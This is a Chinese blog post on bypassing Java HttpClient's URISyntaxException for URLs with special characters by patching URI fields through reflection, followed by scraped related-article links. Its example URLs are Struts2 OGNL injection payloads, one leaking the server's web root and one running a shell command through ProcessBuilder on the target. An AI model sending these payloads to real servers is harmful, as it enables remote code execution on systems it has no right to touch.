这两天在使用httpclient发送http请求的时候,发现url中一旦包含某些特殊字符就会报错。抛出URISyntaxException异常,比如struts漏洞的利用url:(大括号就不行)

redirect:${%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23webroot%3d%23req.getSession().getServletContext().getRealPath('/'),%23resp%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23resp.print('At%201406220173%20Nessus%20found%20the%20path%20is%20'),%23resp.println(%23webroot),%23resp.flush(),%23resp.close()}

看了下jdk的源码知道是URI类parser中checkChars方法对url进行校验时抛出的,而且URI是jdk自带的final类型的类,无法继承也不方便修改。后来经过测试有以下两种方式可以解决这个问题。

第一种方法(这个不是重点):

使用URL类的openConnection()方法。

public class Test {
public static void main(String[] args) throws Exception {
String urlStr = "http://www.xxx.com/?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%22pwd%22}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}";

URL url = new URL(urlStr);
URLConnection urlConn = url.openConnection();
BufferedReader br = new BufferedReader(new InputStreamReader(urlConn.getInputStream(), "UTF-8"));

StringBuilder sb = new StringBuilder();
String str;
while ((str = br.readLine()) != null)
{
sb.append(str));
}
br.close();
System.out.println(sb.toString().trim());

}

}

第二种方法(这个才是重点):

因为我必须要用httpclient,而httpclient都是用的URI类,所以第一种方法并不可行。第二种方法是先用正常的url创建URI的对象,然后通过反射,强行修改此对象的地址信息。

public static HttpRequest createRequestMethod(String url, String host, String strRequest, Boolean isAcceptCookie,
Boolean isAllowRedirect) throws UnsupportedEncodingException {

int i = strRequest.indexOf(" ");
String method = strRequest.substring(0, i);

if (method == null || method.trim().length() < 3) {
System.out.println("无效的HTTP方法");
}

HttpRequest httpRequest;
if (method.equalsIgnoreCase("GET")) {
httpRequest = new HttpGet();
} else if (method.equalsIgnoreCase("POST")) {
httpRequest = new HttpPost();
} else if (method.equalsIgnoreCase("DELETE")) {
httpRequest = new HttpDelete();
} else if (method.equalsIgnoreCase("PUT")) {
httpRequest = new HttpPut();
} else if (method.equalsIgnoreCase("HEAD")) {
httpRequest = new HttpHead();
} else if (method.equalsIgnoreCase("OPTIONS")) {
httpRequest = new HttpOptions();
} else if (method.equalsIgnoreCase("TRACE")) {
httpRequest = new HttpTrace();
} else {
// httpRequest = new BasicHttpRequest(method);
System.out.println("无效的HTTP方法");
return null;
}

// 判断是否为带entity的方法
String strHeader;
String strBody;

if (httpRequest instanceof HttpEntityEnclosingRequestBase) {
int j = strRequest.indexOf("\n\n");
strHeader = strRequest.substring(0, j);
strBody = strRequest.substring(j + 2);
StringEntity ent = new StringEntity(strBody);
((HttpEntityEnclosingRequestBase) httpRequest).setEntity(ent);
} else {
strHeader = strRequest;
}

String[] split = strHeader.split("\n");
String name = null;
String value = null;

// 获取第一行中的 http方法、uri、http版本
String firstLine[] = split[0].split(" ");
HttpRequestBase hrb = (HttpRequestBase) httpRequest;

// hrb.setProtocolVersion(version);
// httpRequest.

RequestConfig requestConfig;
if (isAcceptCookie) {
requestConfig = RequestConfig.custom().setConnectTimeout(3000).setConnectionRequestTimeout(3000)
.setSocketTimeout(3000).setCookieSpec(CookieSpecs.DEFAULT).setRedirectsEnabled(isAllowRedirect)
.build();

} else {
requestConfig = RequestConfig.custom().setConnectTimeout(3000).setConnectionRequestTimeout(3000)
.setSocketTimeout(3000).setCookieSpec(CookieSpecs.IGNORE_COOKIES)
.setRedirectsEnabled(isAllowRedirect).build();

}

hrb.setConfig(requestConfig);

for (int ii = 1; ii < split.length; ii++) {
if (split[ii].equals("")) {
continue;
}
int k;
if ((k = split[ii].indexOf(":")) < 0) {
// return null;
continue;
}
name = split[ii].substring(0, k).trim();
if (name.equals("Content-Length")) {
continue;
}
value = split[ii].substring(k + 1).trim();
httpRequest.addHeader(name, value);
}

// System.out.println("httputil " + httpRequest);

// 设置httprequest的uri
try {
String urii = firstLine[1];
URI uri = null;
try {
uri = URI.create(url + urii);
hrb.setURI(uri);
} catch (Exception e) {
// 对于包含特殊字符的url会抛出urisyntaxexception异常,如下处理
// e.printStackTrace();
uri = URI.create(url);    //创建正常的URI
Class<URI> clazz = URI.class;
Field path = clazz.getDeclaredField("path");
Field schemeSpecificPart = clazz.getDeclaredField("schemeSpecificPart");
Field string = clazz.getDeclaredField("string");

path.setAccessible(true);
schemeSpecificPart.setAccessible(true);
string.setAccessible(true);

path.set(uri, urii);
schemeSpecificPart.set(uri, "//" + host + urii);
string.set(uri, url + urii);

hrb.setURI(uri);
System.out.println(hrb.getURI());
}
} catch (Exception e) {
e.printStackTrace();
}
return hrb;

}

另外还需要修改org.apache.http.client.utils.URIBuilder类的build方法

public URI build() throws URISyntaxException {
// return new URI(buildString());

String str = buildString();
URI u = null;
try{
u = new URI(str);
}catch(Exception e){
// 对于包含特殊字符的url会抛出urisyntaxexception异常,如下处理
// e.printStackTrace();
u = URI.create("/");
Class<URI> clazz = URI.class;
Field path = null;
Field schemeSpecificPart = null;
Field string = null;
try {
path = clazz.getDeclaredField("path");
schemeSpecificPart = clazz.getDeclaredField("schemeSpecificPart");
string = clazz.getDeclaredField("string");

} catch (NoSuchFieldException e2) {
// TODO Auto-generated catch block
e2.printStackTrace();
} catch (SecurityException e2) {
// TODO Auto-generated catch block
e2.printStackTrace();
}

path.setAccessible(true);
schemeSpecificPart.setAccessible(true);
string.setAccessible(true);

try {
path.set(u, str);
schemeSpecificPart.set(u, str);
string.set(u, str);
} catch (IllegalArgumentException | IllegalAccessException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}

}
return u;
}

解决httpclient抛出URISyntaxException异常的更多相关文章

  1. druid抛出的异常------javax.management.InstanceAlreadyExistsException引发的一系列探索

    最近项目中有个定时任务的需求,定时检查mysql数据与etcd数据的一致性,具体实现细节就不说了,今天要说的就是实现过程中遇到了druid抛出的异常,以及解决的过程 异常 异常详细信息 五月 05, ...

  2. 外部无法捕捉Realm的doGetAuthenticationInfo方法抛出的异常

    shiro权限框架,用户登录方法的subject.login(token)会进入自定义的UserNamePasswordRealm类的doGetAuthenticationInfo身份验证方法 通常情 ...

  3. 关于thinkphp5手动抛出Http异常时自定义404页面报错的问题

    在使用HttpException手动抛出异常时,希望跳转到自定义的错误页面,官方的文章中是这样描述的. 可以使用\think\exception\HttpException类来抛出异常 // 抛出 H ...

  4. 当WebView运行在特权进程时抛出安全异常,Hook方式解决方案(包含对Android 8.0的处理)

    1.问题起源报错语句是:java.lang.UnsupportedOperationException: For security reasons, WebView is not allowed in ...

  5. 应该抛出什么异常?不应该抛出什么异常?(.NET/C#)

    我在 .NET/C# 建议的异常处理原则 中描述了如何 catch 异常以及重新 throw.然而何时应该 throw 异常,以及应该 throw 什么异常呢? 究竟是谁错了? 代码中从上到下从里到外 ...

  6. Java中主线程如何捕获子线程抛出的异常

    首先明确线程代码的边界.其实很简单,Runnable接口的run方法所界定的边界就可以看作是线程代码的边界.Runnable接口中run方法原型如下: public void run(); 而所有的具 ...

  7. Spring boot 前后台分离项目 怎么处理spring security 抛出的异常

    最近在开发一个项目 前后台分离的 使用 spring boot + spring security + jwt 实现用户登录权限控制等操作.但是 在用户登录的时候,怎么处理spring  securi ...

  8. 将Controller抛出的异常转到特定View

    <!-- 将Controller抛出的异常转到特定View --> <bean class="org.springframework.web.servlet.handler ...

  9. 使用visual studio 2015调用阿里云oss .net sdk 2.2的putobject接口抛出outofmemory异常

    问题描述: 使用阿里云oss .net sdk 2.2版本,使用putobject接口上传文件时,抛出outofmemory异常. 原因分析: 上传时,用于准备上传的数据缓冲区内存分配失败.与应用软件 ...

随机推荐

  1. Jmeter-接口测试(二)

    接口测试我们前面已经讲过,此博不做重复,我们主要讲讲如何利用Jmeter做接口测试及参数化. 一.新建项目 1.运行Jmeter.bat打开Jmeter 2.添加线程组(测试计划->添加-> ...

  2. Silverlight实例教程 - Validation数据验证基础属性和事件(转载)

    Silverlight 4 Validation验证实例系列 Silverlight实例教程 - Validation数据验证开篇 Silverlight实例教程 - Validation数据验证基础 ...

  3. 通过虚拟驱动vivi分析摄像头驱动

    Linux摄像头驱动学习之:(二)通过虚拟驱动vivi分析摄像头驱动 一.通过指令 "strace -o xawtv.log xawtv" 得到以下调用信息: // 1~7都是在v ...

  4. C++语言基础(13)-抽象类和纯虚函数

    一.基本语法 在C++中,可以将虚函数声明为纯虚函数,语法格式为: ; 纯虚函数没有函数体,只有函数声明,在虚函数声明的结尾加上=0,表明此函数为纯虚函数. 最后的=0并不表示函数返回值为0,它只起形 ...

  5. 第一百八十六节,jQuery,验证表单插件,Ajax 表单插件,验证和提交表单

    jQuery,验证表单插件,Ajax 表单插件,验证和提交表单 HTML <form id="reg" method="post" action=&quo ...

  6. python django -1

    VT Django是一款python的web开发框架 与MVC有所不同,属于MVT框架 m表示model,负责与数据库交互 v表示view,是核心,负责接收请求.获取数据.返回结果 t表示templa ...

  7. Fibonacci数列的幂和 zoj 3774

    题目大意: 求斐波那契数列前n项的k次幂和  Mod 1000000009.    n<=1e18, k<=1e5 这题的k比较大,所以不能用矩阵乘法来递推.学到了新姿势...  http ...

  8. 转载:DenseNet算法详解

    原文连接:http://blog.csdn.net/u014380165/article/details/75142664 参考连接:http://blog.csdn.net/u012938704/a ...

  9. MySQL运算符总结

    注解:常常用于where条件判断中

  10. xshell ftp报错:找不到匹配的outgoing encryption算法

    场景:由于登陆跳板机都是从采用密钥的方式进行登陆的,然后在传输文件的时候报错 报错信息: 解决方案: 点击属性--->选择aes256-ctr加密方式默认这里是没有选择的 再次连接就成功连接上去 ...